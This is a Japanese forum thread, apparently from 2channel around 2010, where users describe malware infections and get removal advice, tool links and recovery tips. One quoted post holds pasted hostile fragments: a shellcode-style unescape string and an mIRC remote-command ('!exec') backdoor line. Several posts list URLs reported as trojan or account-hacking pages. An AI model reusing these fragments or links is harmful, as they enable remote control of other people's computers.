IEを起動すると中国サイトにアクセスしてセクシー画像を表示しプログラムのインストールが図られる。

ウイルス対策ソフトウェアを購入して使用すればこのようなスパイウェアなどのプログラムも除去できますでしょうか？
手動での除去には限界を感じています。セーフモードで起動できないってちょっとね。

>>547
これか？
サービスで動作しているようだから止めてからなら駆除可能かも
しかし他にも複数動いているようだな
ttp://www.securelist.com/en/descriptions/7624112/Trojan.Win32.Delf.wta

同じものか分からんがMSEが対応してそうだ？
あとはMalwarebytes' Anti-Malwareでも走らせるとか
ttps://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Adware%3AWin32%2FIEMao.A&ThreatID=156509

駆除できたらここでも見て現在の最新版にアップデートしとけ
ttp://www.so-net.ne.jp/security/news/newstopics_201005.html

>>548
多分それです。英文のページを読みましたがよくわかりませんでした。
とりあえず>>9でスキャンを3回試みるも3回ブルースクリーンになって終了する。

なぜだかモデムで有線LANでつないでるパソコンまでネットに接続できなくなり今に至る。
ウイルスがモデムに影響するなんてことは考えられるんだろうか。

これからどうしよう。電器屋で5000円で対策ソフト買うにしても
インターネットにつながずブルースクリーンにならず除去できるもんかわかんないわ。

>>549
OSのリカバリーだろ
出来なければOS再インストール
後は知らん

>>549
オンラインスキャンはダメかもな
IE上で動かすことになるからマルウェア側が見越して監視してそうだ
最近のものは一度入り込むと素人ではどうにもならないことが多いので
正直リカバリを薦める

まあCD/USBブート可能なウイルス対策ソフトでスキャンするとか
他にPCがあるならHDDを取り外してそっちでスキャンかけるとか
方法はないでもないが（それでも駆除できる保証はないが）

フリーでCD/USBブート可能なもの
ttp://www.forest.impress.co.jp/docs/news/20100325_356718.html
ttp://drweb.jp/support/LiveCD.html

ここを見ると製品CDからブートできるのは
ノートン、G Dataあたりか？
ttp://plusd.itmedia.co.jp/pcuser/articles/1010/18/news093.html

補足
＞なぜだかモデムで有線LANでつないでるパソコンまでネットに接続できなくなり今に至る。
マルウェアの種類にもよるが
PC間でファイルの共有などをしているとLAN経由で感染も有り得る

インターネットにはなんとかつながりオンラインスキャン試す。
pandaのみ導入できたもののiemaoを検出せず駆除できず。
他のソフトは導入中に止まるかブルースクリーンに。

Malwarebytes' Anti-Malwareも入れました。iemaoを検出して駆除まで。
期待しながら再起動したら残念ながら完全に元の状態で復活してました。

従来はウイルスが出たらレジストリいじるかセーフモードで駆除してたんだけどね。
iemaoはそれができないから痛い。つか何でセーフモードで起動できないんだか。

こういうページはあるけどね
ＰＣ起動不能「死のブルースクリーン」
http://www.yomiuri.co.jp/net/security/goshinjyutsu/20100219-OYT8T00677.htm

質問！　
AVG使ってるんですけど、この板のAVGのスレ見に行ったら
ウィルスの警告出たんですがホントにウィルスなの？

んなわけねえ
誤認するようなスクリプトが貼られてるだけ

>>547です。

フリーウイルス対策ソフトをかけてみたものの駆除できず。
中にはインストールが途中で止まるものもある。おかしいと。

ファイル名をvirusにしたテキストをメモ帳で開くと3秒で閉じられた。
タイトルバーにvirusの文字があったら監視して閉じてるらしい。外国製ウイルスソフトはそれでインストールできないのも。

USBメモリを入れるとフォルダが増えた。実はフォルダのアイコンをしたexeだった。
ルートにappleというフォルダがあったらそれを隠しフォルダにしてapple.exeというアプリをフォルダのアイコンで置いていた。

強力すぎて怖いですね。全然歯が立たない。
リカバリーしかないのかな。なんか注意点ありますかね。

>>556
前にも言ったがリカバリを薦める
PCに詳しくないと最近のマルウェアは手動での駆除は無理だ
紹介したブータブルなウイルス対策ソフトを複数使っても駆除不能ならリカバリしか道はない

Virus totalで参照選んでsend file押しても一瞬スキャンされるだけでブラウザが閉じちゃうんだけど
どうなっているの？

>>558
複数のブラウザで試してみたが問題ないぞ
変なウイルスにでも感染してないか？

調べたのですが分からなくて・・・質問させてください
もしプライベートネットワーク内にあるパソコンがウイルスにかかっているとしたら、ネットワーク内全体の通信も読まれてしまうんでしょうか？
正確にいえば、ＴＶでクレカの情報を入力したらそれが筒抜けになることはあるのでしょうか？
というかその認識が間違ってる？

【使用OS】　「Windows XP」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「AVG Antivirus Free」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「未導入」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「未導入」
【ルータの有無】　「なし」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「なにもなし」
昨日（11/20）くらいから、IEを立ち上げると「ちゃららんちゃんちゃんちゃん　ウィンドウズ♪」みたいな音声が流れるようになりました。
最初2chのバナーにでも埋まってるのかと思いましたが、Googleのページとかでも鳴ります。
音声の出るサイトを開いてるからというわけではない模様。
PC内の音声データーも全部聞いてみたけど該当する音は無く、
サウンド設定も見たけど該当するサウンド設定は無く、AVGとSpypod Search and destroyでスキャンしても何も引っかかりません。
キャッシュやクッキーなども全部消して
二週間前のデーターでシステムの復元もしてみたけど何も変わらず。
一昨日までは鳴っていなかったので一体何なんだという状態です。
単なる設定なのかウィルスにでも感染したのか、なにか可能性があれば教えてください。

>>560
パケットキャプチャ機能のあるウイルスなら
LAN内に流れるデータを採集することも可能
ただクレカ情報などはSSL暗号化によって守られることが
ほとんどなので被害は出ない・・・かもしれない

あと感染したPCのウイルスがLAN経由で
ＴＶで使っているOSに感染するならキーボードの入力を盗まれて
筒抜けになる可能性もある

結局はウイルスの種類・動作によるのでなんとも言えんが
感染PCをネットワークから切り離して
駆除するか出来る限りリカバリを薦める

>>561
アドウェアっぽいな
軽く検索してみたがバックグラウンドで動く音声広告というやつかもな
PC詳しくないとさっぱり理解できないくらい面倒そうだ
Malwarebytes' Anti-Malwareなどでスキャンしても直らないようなら
リカバリした方が無難だな
ttp://www.techsupportforum.com/security-center/virus-trojan-spyware-help/resolved-hjt-threads/501532-ie-running-invisible-background-voice-ads.html

>>563
ありがとうございます。
Malwareでやってみましたがなーんにも出ませんでした。強敵かw
音声広告だけならば実害は少ないので近いうちにリカバリーして見ます。

原因わかりました
「ちゃららんちゃんちゃんちゃん　リノボ♪」
ホームを職場にしてもGoogleにしても2ちゃんにしても必ず流れるのですが
もう一枚のタブはいつも同じサイトでした・・そう私はThinkPadユーザー
ﾘﾉﾎﾞｺﾛｽ

>>565
別タブかｗ
いや考えんでもなかったがまさかと思って指摘しなかった
まあアドウェアじゃなくてよかったな

あほ杉

Avastで調べたら
Win32:Jomloon-D Win:32Trojan-gen JS:ADODOB-BM
が見つかりました。感染しているファイルCドライブのwindowsフォルダに
あるファイルにJS:ADODOB-BMのこりがwindows/system32フォルダにある
ファイルにWin32:Jomloon-DそしてCドライブのファイルとシステムの
復元のrestoreファイルにWin:32Trojan-genです。

【使用OS】　「XP SP3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「AVG 9.0.869」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【スパイウェア対策ソフト】　「Ad-Aware」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「有」

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「検出されません」

outlook expressに「Main identity」というユーザーが表示され、削除できません。
ノートン 360 バージョン 4.0の試用版も試しましたが、検出されませんでした。

対処方法を教えて頂けませんでしょうか。

a-squaredでスキャンしたところ
Trace.File.www.xhwjt.cn!A2
というウィルスを検出ググっても危険性についてよく理解出来ません
削除したほうがいいですか？

>>562
ＴＨＸ

Dr.Webでスキャンしたところwfpdisable.exeなるものが検出されました
危険性についてはよくわからないんですが
どうやらスキンを変更するために使ったパッチが原因のようなんです
削除してもいいんですかね？

>>572
＞スキンを変更するために使ったパッチが原因
そのソフトが信用できない、またはもう使ってないなら削除すればいい

antivirus actionというモノに感染してしまいました
webページが全て見る事が出来ず困っています
どなたか解決作を教えて頂けませんか？

やほお知恵袋でも最近立ったのあるけどどこ行って感染したの？

ググったら除去方法の解説サイトやら動画があるな
↓こことか
ttp://www.bleepingcomputer.com/virus-removal/remove-antivirus-action
ttp://www.youtube.com/watch?v=mx3ZRWCcXpE
動画の方はhostsの修正をやってなかったりと不完全ぽいが参考にはなるだろう
全部英語だが簡単な方なのでがんばれ

ざっと見ると
１．Windowsを「セーフモードとネットワーク」で起動
２．マルウェアのプロセスをRKillで殺す
３．定義をアップデートしてMalwarebytes' Anti-Malwareでスキャン
４．hosts修正
５．再起動
６．残ったファイルとレジストリを削除
亜種もあるだろうから再起動の前にrunエントリを
チェックした方がいいかも知れんがこんなところだろうな

質問させて下さい。AVGでスキャンしたところiphoneのバックアップフォルダからウィルスが検出されたのですがありえるのでしょうか？OSはvistaです。エスパー質問になってたらすみません

【使用OS】Vista 32bit Home Edition
【使用セキュリティソフトとバージョン】Norton Internet Security
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】書き込み時点でLive Updateが一分前に行われている
【スパイウェア対策ソフト】Norton Interenet Security?
【スパイウェア対策ソフトの更新は定期的に行なっているか】Yes
【ルータの有無】有

　ウィルス等の検出ではないのですが、先ほど、自分のHotmailのアドレスからスパムが送信されたようです
　ネトゲをやっているためKeyloggerの存在は知っていたので、とりあえずメッセンジャーの再インストールとパスワード変更を行いました
　その時、Keyloggerの活動を調べるためにプロンプトからNetstat -bやったんですが……
　その際、msnmsgr.exeのStateに、何でか知らんのですがantispyprogtoolがEstablishされてました
　たしか、antispyprogtoolのドメインってAVSecurity Suiteの親だったようなそうでないような
　（AV Security Suiteは以前感染して、レジストリ修正とかしたんで消せたと思っていたのですが）

　なるべくOSの再インストールとかしないで取りうる対策があれば、ご教授ください。

俺もantivirus action に感染した。
別のHDDで起動して、感染したHDDを見たがlocal setting内に言われるファイルはなかった。
仕方ないと思って再セットアップの準備しました。

復元てしたことがなかったから一度やってみようと感染したHDDにてsafeモードで起動。
感染前に復元したら問題なくなった。

どうしよう。大丈夫なのか？

変なサイトを踏んだらしく
PCを立ち上げるとアダルトサイトの入会なんたらが毎回勝手に画面に表れます。
このプログラムを削除しようとしても管理者云々で削除が不可能です。
この変なプログラムに感染してから、インターネットでサイトを回っても閲覧履歴に載らずに、
展開も削除も不可能な変な記号みたいなのが表示されます。

元に戻すにはどうしたら良いでしょうか？

>>580
リカバリしかないな

HDDに保存して数日前まで見れていたjpeg画像の１０個ほどが
バツ印になり表示されなくなりました。
サイズは元のままで、変だなと思いつつ外付けのバックアップから上書きしましたが
一日たったくらいでまた上書きしたもの含めた５つほどが使用不可になっていました。

最近やったことといえば2Kのインストールをし、
別の日付の組み合わせでレジストリやシステム復元をしたばかりです。
これはウイルスでしょうか？
ちなみにキングソフトのスキャンは試しましたが何も発見されませんでした。

なんか、画面にお金振り込むまであと70時間って画面が出て再起動しても「何してもきえないへんな画面がでてるんですけどこれを消す方法わかる人教えてください？
本気でこまってます。

>>1

先ほど、これを踏んでしまったのですが、大丈夫でしょうか？

http://www.guild-air.net/seal/up/img/009.-jpg

現在404で無害だけど相当昔にトロイ検出されてたことあり、速やかにNG登録推奨

229 名前：/名無しさん[1-30].jpg mailto:sage [2007/12/10(月) 00:59:49 ID:qIrrQl+X0]
www.guild-air.net/seal/up/img/009.-jpg

おねがいします

230 名前：9999 ◆9999/.bcV. mailto:sage [2007/12/10(月) 01:02:20 ID:w504aA0V0]
>>229
トロイの木馬 Trojan-Downloader.JS.Agent.aj
をカスペルスキーが感知しました

PC有害　とみなします

>>586
どうもです
無害なのが分かって安心しました
早速ブラクラ＆NG登録しました

使用OS】　「WindowsXP SP3」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「ウィルスチェイサー」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「はい」
【ルータの有無】　「有」

あるファイルを個別スキャンすると「Tool.SMSSend.131」でハックキングツールと出ます。

ちがうＰＣに入ってあるウィルスバスタービジネス版で同じファイルを個別スキャンすると検出されません。

このファイルは問題ない（開いても）もいいのでしょうか？

よろしくお願い致します。

出所のよくわからないファイルをダブルクリックするのはあんまよろしくないかと
用途がグレーな内容のexeファイルならこういうところで聞くのはお門違いだし
どうしても自分に必要な物なら、ウイルストータルとかにファイルうpして自己判断自己責任でどうじょ

4 ：ｚ：2010/08/28(土) 10:25:02 ID:NtVfNVmU0
452 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:53:49.30 ID:7Cr427LS0
>>440
・プロバイダの新しい有料メールアドレス
・ジャパンネットバンク銀行の使い捨て番号のVISAデビット
ニ.フ.ティ.ーの100円のメアドプラスで認証が通った。
認証できたら、メアドプラスは登録解除してOK。
普通のクレジットカードでは漢字の住所が登録できたが、
ジャパンネットバンク銀行のVISAデビットだとローマ字入力の住所を要求された。

ローマ字の書き方はこれ
ヘボン式ローマ字綴方表
http://www.seikatubunka.metro.tokyo.jp/hebon/

漢字住所でどんな順序でどんなローマ字、番地の番号を使ったかは、
メモ帳でメアド・パスワードと一緒に控えておいたほうがいい。
453 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:55:00.00 ID:t966sYmN0
ローマ字変換
eip=eip+unescape("%u7030%u4300")
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
http://www2u.biglobe.ne.jp/~yuichi/rest/kanarome.html
454 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:56:54.59 ID:qfPgiwgp0
●買うなんて荒らしと一緒だぞ
455 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:50.21 ID:d455Pgrw0
荒らしが運営に喧嘩売っても被害を被るのは巻き添え食らってる人だけっていう…
荒らしたもん勝ち
456 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:54.30 ID:sPPrGi160
荒らしが●を買ったんだとしたら、個人情報登録してるんじゃないのか？
それで同一名義のアカウント全部停止するとか、
新たに買おうとしてきても拒否するというのはできないんだろうか？

先ほど以下のサイト踏んじゃってウィルスみたいなんですけど、
やばいですかね？どういう実害あるんでしょうか？
お詳しいかたお願いいたします。

blog20fc2.com/mabledays/

そのページもう無いからわからないけど
ネトゲのスレに貼られてるようだしアカウントハックじゃないの

ＡＶＧがページ表示をブロックしたけど進んでみると現在404、いつから404なのかわからないから気になるのならオンラインスキャンとかおすすめ
ネトゲのスレに貼られてたみたいだしそっち系だろうね
アカハック踏ませる方法は本当に手が込んでるわ

そうですか。ありがとうございます。
やってみます。マイクロソフト無料のセキュリティエッセンシャルってやつでも
問題ないですかね。

好きなの選んでくだしい
無料のオンラインウイルススキャン一覧
http://lhsp.s206.xrea.com/misc/onlinescan.html

まさかノーガードってわけじゃないよね

ttp://item.rakuten.co.jp/k-taishop/cay01tka/
ttp://www.gmatome.jp/

上記も見てもらっていいですか。連続で2ちゃんに張られたもので。。。
同じ人が張ってまして。ウイルスといってました。

マイクロソフト無料のセキュリティエッセンシャルは入ってました。

>>596
上　楽天市場の携帯のページ、そこまでpc無害
下　ゲーム情報まとめサイトジーマ、ゲームのニュース4亀などへのリンク集、そこまでpc無害リンク先はしらね

> マイクロソフト無料のセキュリティエッセンシャルは入ってました。
入っているなら精神衛生上良くない場合にだけオンラインスキャンかな

わざわざありがとうございます。
今フルスキャン中です。

>>596
自分も上の踏んだんだけどURLでググルとトロイとか言われてるんだよな
MSE入れてるんだけど何も反応が無くて気持ち悪い

上のはぐぐると携帯スレが出るけど内容を見ると一人が「マカフィでウイルスが・・、ブラクラが・・だから見るな」と騒いでるだけなのよね
リンク先の携帯機種のアンチが一人で騒いでる感じだね

>>599

ＭＳＥには反応なくてもＡviraというウイルスソフトなら
弱いトロイでますよ。
無料なのでインストールしてスキャンおすすめです。

アダルトサイトを回ってたらHDDlowというウィルスに感染してしまったのですが
危険性と対処法を教えてください
とりあえずspybotでスキャンしているところなのですが
他に良い方法がありましたらお願いします

OKWaveの記事は何ですか

知恵袋で一部の回答者たちが毎回バスターをすげぇダメソフトと言いまわってるけど
これ事実なの？　しかも同一人物が複数のID使い分けてまで非難してるけどさ
ttp://detail.chiebukuro.yahoo.co.jp/qa/question_detail.php?qid=1352769203#132902110

ベンダーごとに信者がいるからしょうがない、糞ソフト呼ばわりは知恵袋だけじゃなくてこの板でもよくあること
バスターでもそういうことがあったのかは知らないけど、誤検出でwindowsの重要ファイルを消してしまってOSが起動しなくなるというのは実際にある

併用したいセカンドスキャナ更新

【Emsisoft - MalAware】 （*クイックチェック用クラウドスキャナ　*Emergency Kitとの併用がベストです）
　*インストール不要タイプ　*頻繁にプログラムアップデートしているので都度ダウンロードして試してみて下さい
http://www.emsisoft.com/en/software/malaware/　（使い方：http://i47.tinypic.com/hv9r1d.jpg ）
【Emsisoft - Free Emergency Kit】 ウイルス・トロイの木馬のスキャンと駆除 （*常駐保護は無し *手動Update ）
http://www.emsisoft.com/en/software/eek/　*インストール不要タイプ　(使い方：http://i26.tinypic.com/deo8xe.jpg )

【Live OneCare PC セーフティ オンラインスキャン】 （*駆除も可能 *Flash必要 *月1・2回程度空き時間に試してみて下さい）
http://onecare.live.com/site/ja-jp/default.htm　（*使い方：http://i53.tinypic.com/dgqw76.jpg ）
【F-Secure - Easy Clean】 （*クイックチェック用クラウドスキャナ *インストール不要タイプ ）
http://www.softpedia.com/get/Antivirus/F-Secure-Easy-Clean.shtml　　(使い方：http://i52.tinypic.com/eknq4y.jpg )
【F-Secure オンラインスキャナ】 （*駆除も可能 *一時的にでも、Java の最新バージョン必要）
http://www.f-secure.com/ja_JP/security/security-lab/tools-and-services/online-scanner/

【McAfee - Stinger】 (*インストール不要 *全ファイルスキャン *駆除可能 *月に数回配布 )
http://www.softpedia.com/get/Antivirus/McAfee-AVERT-Stinger.shtml　（使い方：http://i54.tinypic.com/2q1uj2f.jpg ）
【Malwarebytes' Anti-Malware】 ウイルス・スパイウェアのスキャンと駆除 （*常駐保護は無し *手動Update）
http://www.malwarebytes.org/mbam.php　（使い方：http://i56.tinypic.com/2ba076.jpg ）
【Spyware Blaster】 http://www.javacoolsoftware.com/index.html （http://i45.tinypic.com/2ce6gkw.jpg *Flash Killer機能も実用的です）

中古PC買ったんですがリカバリーしても残ってるウィルスってありますか？
リカバリーディスクにウィルスが入ってるってことはないですよね？

購入したノーパソに付いてたノートンの期限が切れるので対策ソフトの購入を考えてるのですが
ZEROってどうでしょうか？
ttp://sec.sourcenext.info/?i=com_top

価格は抜きにして性能についてお聞きしたいです。フリーのものはファイアウォールが
ないのが心配なので却下です。

こちらで質問してよろしかったでしょうか？適切なｽﾚがあれば誘導お願いいたします。

>>608
更新料無料を売りにしてシェアを伸ばしているけど、安かろう悪かろう、安いものにはわけがあるの典型だよ
ウイスル検出がZEROとかフリーの入れたほうがましとかジョークソフトとかひどい言われよう、最近は誤検出でOS壊したりもしたし
はっきりいってアンチウイルスソフトとしては厳しいからスルーしたほうがいい

すいません。
このウィルス（スパイウェア）って何ですか？
大阪、漫画喫茶ポパイ　京橋店のほとんどのパソコンがこれに感染しているんですが・・・。
Trackware:W32/Tracking_Cookie

ググっても、どんな影響があるのか、よくわかりません。
とりあえず、特定のサイトに訪問したとき、WEBブラウザによって作成されるスパイウェアとだけわかりました。

スレ違いならすいません。
どこのスレに書き込めば良いかわからなかったので、とりあえずこちらに投稿しました。

Tracking_Cookieて出てるしトラッキングクッキーなんじゃないか
その人がどういったページに行ったかとかを監視してそれに合わせた広告とかを出すのに使われる
詳しくはトラッキングクッキーでぐぐってみそし

エロサイトの架空請求５００００円のポップアップウィンドーが
５分に１度くらいの頻度で画面に表示されます。
インターネットの線をはずしても、画面上のポップアップブロッカーを有効にしても
出てきます。どうしたらｋのしつこいポップアップウィンドーが
出ないように設定できますか？　よろしくお願いします！

>>611
つまり、それって店側が故意に設定してるスパイウェアってこと？

>>612
ヤフー知恵袋に解決策がいくつかあったと思います。
自分もなったんですがＰＣ買ったばっかだったんで理科張りしましたが

>>613
うん
>>612
ここのワンクリウェアの項なんていかがでしょ
http://www.ken-hokuto.com/oneclick/

>>613
いちおう合法的な商売行為であることが認められている
基本実害は無いと思って良いけど、足跡追跡して情報収集してるのがセキュリティーソフトにひっかかる
足跡追跡を気持ち悪いと嫌がる人もいるけど、気にしすぎるとネットなんてできない

合法的なスパイウェアっすね！
なるほど！
あざっす。

アイコンのところにＳystem Toolって出てきて　ＷＡＲＮＩＮＧの文字が消えません。
ＴＯＰ画面に赤い文字でＷＡＲＮＩＮＮＧ〜って出ています。ウィルスに感染したと思うんですが
対処の方法を教えて頂けませんでしょうか？初心者なんで全くわかりません・・・

>>618
初心者なら大人しくリカバリしておけ

>>619
リカバリ以外に方法は無いですか？

>>620
横からだが
あるにはあるがウイルス本体がどこかに残ったままになったり
初心者には無理な複雑な作業が待っているだけ

友人からの修理依頼
先日から頭痛の種、フォーマット直後から虫が常駐してしまいます。

【使用MACHINE】TOSHIBA　TX65
【使用OS】「xp」何度やっても同じ
【Microsoft Update（MU）の状態】　「osを入れたばかり」　
【使用セキュリティソフトとバージョン】　「nortonかAVASTでやったが結果は同じ」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「YES」　
【スパイウェア対策ソフト】　「」　
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「」
【ルータの有無】　「無線、ケーブル、E-MOBILE」 で試したが同じ結果

【スキャンの結果何が検出されたか（検出されたウイルス名・ファイル名を（パスを含めて）詳しく）】
「WIN32mALWARE-gen,w32 IRCBOT GEN,SERIVCES.EXE」 ゴミ箱とsystem　Information

【どんな症状が出るか】　「OSを入れた直後に虫退治を入れると即反応」
【症状が出る前に何をやったか】　「フォーマットしてOSを入れた」
【症状を解決しようとどのような処置を取ったか】　「何度やっても虫がいます」
【その他の質問】　「友人からの修理依頼のPCなのでBIOSに虫がいるかも」

>>622
OSは正規品？
正規品でなければOSの中に虫がいるかも

biosのウイルスはbios改ざんでpcを起動させなくなる系だからそういうウイルスはいないかな・・・
考えられるのは誤検出、インスコCDが中国産他、インスコ後オンライン状態になっててセクルチーソフト入れる前にあれこれとか

ここのサイトでオンラインスキャンした時だけ、
http://www.f-secure.com/ja_JP/security/security-lab/tools-and-services/online-scanner/

このウィルスに感染してるファイルが検出されるんだが・・・・
W32/Malware!Gemini
これ、なんのウィルス？

検知されたファイルを他のアンチウィルスソフトやスキャンサイトでスキャンしても、全く異常なし。
もしかして、これ誤検知？

>>625
F-secureではよくあることらしい
気になるならウイルストータルにそのファイルを投げてみれば良い

>>626
トータルでやってみたら、全く問題なかった・・・。

おはようございます。>622です。

>623
OSは正規品です。
念のため、予備のコピーもファイルのサイズも確認しました。
NORTONも正規品。

両方とも古いから、この二枚は結構永く使っています。
当たり前ですが、今まで虫が出たことは有りません。
Avastはネットから落とします。

一晩置いて、今は普通に動いていますが、
通例、この後電源が突然落ちたり、
虫の特性らしく、microsoftに繋がらなくなり、Updateが出来なくなり、
最終的には起動時にループし出して、起きなくなります。

>>622
IPA - 「USB メモリのセキュリティ対策を意識していますか？」
　★USBメモリを使っていなくても必ずオートラン無効を実施しておきましょう → PC再起動
http://www.ipa.go.jp/security/txt/2009/05outline.html

↓インストーラをダウンロードして実行
Malicious 悪意のあるソフトウェアの削除ツール - softpedia.com
http://www.softpedia.com/get/Antivirus/Microsoft-Malicious-Software-Removal-Tool.shtml

↓インストーラをダウンロードして順番に実行
【Emsisoft - MalAware】 （*クイックなチェック用途クラウドスキャナ　*Emergency Kitとの併用がベストです）
　*インストール不要タイプ　*頻繁にプログラムアップデートしているので都度ダウンロードして試してみて下さい
http://www.emsisoft.com/en/software/malaware/　（ 使い方：http://i47.tinypic.com/hv9r1d.jpg ）
【Emsisoft - Free Emergency Kit】 ウイルス・トロイの木馬のスキャンと駆除 （*常駐保護は無し *手動Update ）
http://www.emsisoft.com/en/software/eek/　*インストール不要タイプ　(使い方：http://i26.tinypic.com/deo8xe.jpg )

↓このインストーラをダウンロードした後、ネットケーブルを抜いてNortonをアンインストールして入れ替えインストール
Avira Premium Security Suite 30 日間無料試用版
http://www.avira.jp/jp/products/test_license_2.html
インストール過程で、ネット接続要請のダイアログが出てからネット接続すること。初回Updateの後にフルスキャン実施

ずぶの初心者です。
先日の２ちゃん騒動のときに、専ブラJaneXenoでニュー速のスレ一覧の更新をしたら
鯖が落ちていたらしく、更新できませんでした。そのため運用情報版に行ったところ
ウイルス云々と言われていました。で、速攻ノートンでウイルスチェックしたのですが
何も出てきませんでした。その後も毎日フルスキャンかけてますが、脅威は出てきません。
ここで質問なのですが、「Doe系専ブラならウイルスに感染しない」という話は本当でしょうか？

ああテンパッててテンプレ忘れてました
【使用OS】　「Vista Home Premum」
【Microsoft Update（MU）の状態】　「最新」
【使用セキュリティソフトとバージョン】　「Norton Internet Security 2011」
【セキュリティソフトの定義ファイルは最新の状態に更新されているか】　「最新」
【スパイウェア対策ソフト】　「Norton Internet Security　2011」
【スパイウェア対策ソフトの更新は定期的に行なっているか】　「はい」
【ルータの有無】　「なし」
よろしくおねがいします

>「Doe系専ブラならウイルスに感染しない」という話は本当でしょうか？

100％ではないが感染しません

>>632
ありがとうございます。
いわゆる暴露ウイルスというやつが、WEBサイトからも
感染すると小耳に挟んでいたのでガクブルしていたところです。
ファイル共有ソフトは一切使っていません。
その後f-secureでもオンラインフルスキャンしましたが異常はありませんでした。
とりあえずは大丈夫と考えてよいでしょうか？

>>628
ネットに繋いだ瞬間にセキュリティホール突かれてるんじゃね？
正常に動いてるPCがあるなら更新適応済みのCDを作ってやってみればいいと思う。

A.K Office > ソフトウェア > SP+メーカー
http://www.ak-office.jp/software/winsppm.html

>>633
問題ない

>>635
ありがとうございます！

5，6年前に爆発的に広がったウィルスの症状みたいだなぁ。
知り合いのノートPC が感染して出張駆除してきた。

>>629
USBメモリを使っていませんがTRYしてみます。

>>634
私もそれ位しか思いつきません。

何処でどう入って来るのか、どうしても知りたいです。

>>622
その後どう？

>>639
おお、Good timing.
今日は忙しかったので、今始めたところです。
XPを入れただけです。

先ず、autorunを無効にするために＜方法D＞をやろうとしたら、

2. レジストリエディタ画面で次のフォルダを見つけ、クリックします。
[HKEY_LOCAL_MACHINE](※)→[SOFTWARE]→[Microsoft]→[Windows]→
[CurrentVersion]→[policies]→[Explorer]

の→[Explorer]が有りません。
他のPCだとちゃんとあるのですが？
何かヘマやらかしてますかね？

Vistaならコレだな

Windowsの自動実行機能（Autorun）を完全に無効化してウイルス感染を防ぐ − ＠IT
http://www.atmarkit.co.jp/fwin2k/win2ktips/1139autrun/autrun.html
■Autorun修正パッチを適用する
Windows Vista／Windows Server 2008の場合、Autorunに関する修正はMS08-038のセキュリティ・パッチに含まれるので、
このパッチを適用すればよい（以下、いずれもリンク先はマイクロソフトのダウンロード・センター）。
Windows Vista 用の更新プログラム (KB950582)

すんません、今はVISTAは使っていないです。

それと、NETにはまだ繋いでいません。
もうどこで進入してくるのかに集中しています。

他のマシンで拾ってきてもUSBで入れては無意味な気がします。

>>642

ちょいと調べてみたけど、先にWUする必要があるんじゃね？
http://support.microsoft.com/kb/967715/ja

自動実行機能を無効にするための前提条件
自動実行機能を無効にするには、以下の更新プログラムをインストールする必要があります

622です。

>>643
今、Updateしようとしたらもう繋がらずに電源が落ちました。
電源が落ちるのは別の可能性を疑い始めました？
M/Bに損傷が有るなら私の手には負えません。

これから>>634でも作ってみてTRYしてみます。
ダメなら明日は早いので寝ます。
明日から二週間ほど出張なので当分こいつは触れません。
みなさん、ご親切なadvicesをどうもありがとう御座いました。
また報告させていただきます。

DWTRIG20というexeがタクスマネージャにあったんですが
これはなんでしょう？3Dの同人エロゲをインストした後でしたが

ttp://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1453845579

trident_sound_day1さんの回答
＞seriall.comもfullddl.comも俺が潰したサイトの一つ。Keygenだのクラックだのといった違法ファイルを多数配布していた。

ウイルスサイトって個人で潰すことできるの？ｗｗｗ

なんか最近別スレでもやたら知恵遅れのリンク貼る人いるけど、ここは知恵遅れヲチする場所じゃないんだよ

なんかサイトめぐりしてたらHTTP Fake Scan Webpage 2っていうのにひっかりました・・・
調べても全然概要とかでてきません・・・
これってどんなウィルスなんでしょうか？

>>648
> Fake Scan
勝手にpcウィルススキャンして（実際はしてない）
いっぱいウイルス出てきたよ、削除したいなら金払え系の詐欺AVのこと

>>649
ん？ってことは言葉の通りフェイクで気にすることないの？

調べたんだがどんな被害あるのかがまったくわからない・・・
情弱ですみません

そのまんまだよ
しつこく金払えと催促してくる、pcに悪さするのもある

>>652
教えてくれてありがとうございます
今、とりあえずＥＳＥＴＮＯＤ３２っていうセキュリティソフトで検査してます。
これで検出されて駆除できればいいんだけど・・・・

このスレとはベクトルが多少違う気がするのですが、わかる方教えてください。
スペックとしては、ＸＰで基本的な対策は全てしており（最新フルスキャンは昨日）、
天気予報系のみＪＳを許可した火狐最新版を使っています。

さっき気づいたのですが、ｔｅｎｋｉ．ｊｐ（気象協会）のサイトの画像系が、akamai.net
から吐かれています。
これで検索したら、アメリカのコンテンツ配信会社らしく、噛んでいても別におかしくは
ないのかもしれませんが。

ただ、ググル先生は、過去に不正ソフト配信元になってたようなことを言っています。
ttp://www.google.com/safebrowsing/diagnostic?site=akamai.net/&hl=ja

また、tenki.jpとakamai.netを並列検索すると、いくつかマカフィーサイトアドバイザーが
危険と警告するサイトが出てます。
単に、2階層以下にtenki.jpと入れた偽装アドレスのようにも見えるのですが。

これは、単に気象協会がakamai.netを利用しているだけで、書き換えが行われている
という意味ではないのでしょうか？
それともGumblerのように、何らかの不正があるのでしょうか？

念のためJS許可を外して、現在再度フルスキャン中です。

念のため追加情報です。
マカフィーによるフルスキャンでは、何も出ませんでした。

特に問題なければJSを許可したいのですが、大丈夫なのでしょうか。

起動ができません
一応windows98の画面まではいくのですが・・・
